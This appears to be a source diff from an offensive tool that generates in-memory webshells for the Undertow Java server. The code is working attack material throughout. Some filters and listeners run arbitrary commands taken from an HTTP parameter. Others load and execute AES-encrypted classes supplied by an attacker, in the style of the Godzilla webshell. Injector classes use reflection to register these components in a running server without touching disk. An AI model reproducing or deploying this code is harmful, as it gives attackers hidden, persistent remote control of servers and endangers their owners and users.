||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package com.reajason.javaweb.memsell.undertow;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.undertow.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.undertow.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.undertow.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.undertow.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.undertow.injector.UndertowFilterInjector;
|
||||
import com.reajason.javaweb.memsell.undertow.injector.UndertowListenerInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class UndertowShell extends AbstractShell {
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Command, ShellTool.Godzilla);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
package com.reajason.javaweb.memsell.undertow.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
+78
@@ -0,0 +1,78 @@
|
||||
package com.reajason.javaweb.memsell.undertow.command;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandListener implements ServletRequestListener {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");
|
||||
Object[] keys = map.keySet().toArray();
|
||||
for (Object key : keys) {
|
||||
if (map.get(key).toString().contains("ServletRequestContext")) {
|
||||
response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse");
|
||||
break;
|
||||
}
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
+127
@@ -0,0 +1,127 @@
|
||||
package com.reajason.javaweb.memsell.undertow.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+152
@@ -0,0 +1,152 @@
|
||||
package com.reajason.javaweb.memsell.undertow.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaListener() {
|
||||
}
|
||||
|
||||
public GodzillaListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute(
|
||||
"payload",
|
||||
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");
|
||||
Object[] keys = map.keySet().toArray();
|
||||
for (Object key : keys) {
|
||||
if (map.get(key).toString().contains("ServletRequestContext")) {
|
||||
response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse");
|
||||
break;
|
||||
}
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+225
@@ -0,0 +1,225 @@
|
||||
package com.reajason.javaweb.memsell.undertow.injector;
|
||||
|
||||
import javax.servlet.DispatcherType;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class UndertowFilterInjector {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new UndertowFilterInjector();
|
||||
}
|
||||
|
||||
public UndertowFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
try {
|
||||
if (isInjected(context, filterClassName)) {
|
||||
return;
|
||||
}
|
||||
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (HashMap<String, Object>) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||
if (filters != null) {
|
||||
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||
Class<?> filterClass = (Class<?>) getFV(filter.getValue(), "filterClass");
|
||||
if (filterClass != null) {
|
||||
if (filterClass.getName().equals(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+216
@@ -0,0 +1,216 @@
|
||||
package com.reajason.javaweb.memsell.undertow.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class UndertowListenerInjector {
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new UndertowListenerInjector();
|
||||
}
|
||||
|
||||
public UndertowListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) {
|
||||
contexts.add(servletContext);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
